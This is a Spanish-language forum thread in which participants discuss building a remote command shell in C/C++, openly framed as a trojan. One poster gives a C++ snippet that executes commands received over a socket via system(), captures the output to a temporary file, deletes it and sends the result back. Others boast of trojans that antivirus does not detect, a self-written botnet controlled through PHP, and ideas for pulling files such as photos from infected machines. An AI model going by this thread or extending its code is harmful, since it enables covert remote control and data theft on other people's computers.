Crear shell remota cliente/servidor en C

Iniciado por Kaxperday, 11 Septiembre 2014, 23:43 PM

0 Miembros y 1 Visitante están viendo este tema.

Kaxperday

La idea es, tener 2 programas cliente y servidor, conectados remotamente, entonces yo paso datos al cliente desde mi servidor en plan "dir" y el programa cliente quiero que haga algo en plan system("cmd dir"); no se ni si funciona pero la idea seria de ese estilo, aun así system no devuelve una cadena y tendría problemas para enviarlo al servidor pues devuelve entero.

Una ayuda por favor, es un proyecto ambicioso, sería moderado hacer una interacción cliente servidor que pasen cadenas (y con ello datos), pero el problema radica más en como extraer esos datos que me interesan con el cliente usando el servidor para pedirlos.

Cualquier comentario será bien recibido, podemos colaborar en hacer algo :)

Saludos
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.

patilanz

Ahora mismo estoy haciendo exactamente lo mismo  ;D pero en plan troyano.
Hasta ahora tengo solo comandos al system y devolcion del resoltado pero sin recordar osea que no puedes hacer cd ruta y luego dir

Aqui tienes la parte del cmd en windows
Código (cpp) [Seleccionar]
if(reserve[0] == '1'){ //Shell cmd
command.append(" > data.txt");
system(command.c_str());
ifstream data("data.txt");
int i=0;
while((response[i++] = data.get()) != EOF);
response[i++] = '\0';
DeleteFile("data.txt");
send(client_socket,response,sizeof(response),0);
}

daryo

CitarHasta ahora tengo solo comandos al system y devolcion del resoltado
no mejor busquense un codigo de ejemplo con pipes y vean como funciona
buenas

ivancea96

Yo tengo un troyano que hace eso :O
Simplemente envío comandos por TCP, los interpreto agregándoles ">log", leo el log, y lo elimino.
El log se lo envío al cliente, y él lo muestra como debe ser.

Kaxperday

#4
Interesante, jaja ivancea sabe de todo xD.

La idea sería a través de un servidor web con un PHP intentar hacer algo capaz de manejar las SHELL que están conectadas en el cliente, y que lo hagas sin tener el server en tu ordenador corriendo (que sería lo fácil e incluso mejor a veces, pero no tan pro ).
Pero como no tengo ni de lejos los conocimientos en php para hacer algo así, pues me tendré que conformar con no-ip y el cliente en mi ordenador, de todas formas como sería?

Supongo ivancea que lo tendrás en CPP y no en C, la verdad no tengo ni idea de como hacerlo lo que sabía lo puse al principio, además estaría bien ponerlo con interfaz gráfica aunque no se programar con interfaz gráfica, en CPP se puede hacer medianamente bien no?

Edito: envias comandos por TCP vale, pero como es eso de interpretarlos poniendo "<log" xD

Saludos
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.

ivancea96

La salida de comandos del sistema (en Windows), si se le pone ">archivo", pues escribe la salida en ese archivo.

Yo lo tengo en C++, pero es exactamente lo mismo, cambiando "fstream" por "FILE", y en vez de "strign", "char*".

Kaxperday

#6
UHHH ya te digo lo acabo de probar jaja, es una manera de recoger lo que devuelve la cmd, habrá que conformarse con esta aunque quizás haya otras mejores, entonces la idea es pasar un comando al servidor (tu manejas el cliente), el servidor lo ejecuta poniendo ">archivo" se crea el archivo, lo lees y lo borras no esta mal, gracias.

Si me veo con ganas me pongo a intentar hacerlo y comento dudas etc.

Edito: Se podría mejorar haciendo que te suba archivos a un servidor en plan fotos etc, me interesa, estaría bien crearlo todo y que funcione perfecto.

La idea buena y difícil sería montarse un servidor web, que inicies sesión y controles los clientes sus comandos y que ellos sean capaces de subir los datos al servidor, interpretar su log instantaneamente etc.

¿Por cierto, te lo detectó el antivirus no? xD

Saludos y gracias.
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.

kr.chacacreker

Yo intente lo del archivo y funciono. Pero lo lógico seria hacerte un "shell" o algo parecido y luego conectarla remotamente. 

ivancea96

El primer "troyano" de ese tipo que hice, tenía la funcionalidad de Shell remota, y funcionaba así. No lo detectaba antivirus. También es verdad que el infectado era el servidor, no el cliente, por unos temas que no vienen a cuento xD

Lo del servidor, es uno de los comandos que tiene una 'botnet' que tengo codeada xD
Pero eso ya es coordinar PHP con C++.

Kaxperday

CitarPero lo lógico seria hacerte un "shell" o algo parecido y luego conectarla remotamente.

¿Quieres decir crear tu propia cmd y así evitar la llamada a system? Habría que escribir mucho código y no sabría hacer la mayoría de las funciones, de momento me conformo de sobra usando la cmd y llamando a system como dijo ivancea, además no lo detecta el antivirus que mas se puede pedir.

Citar
Lo del servidor, es uno de los comandos que tiene una 'botnet' que tengo codeada xD
Pero eso ya es coordinar PHP con C++.

Quieres decir que ¿conseguiste hacer un servidor web capaz de controlar una botnet por PHP? O he entendido mal, PD tengo que aprender C++ y más PHP, es la clave.
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.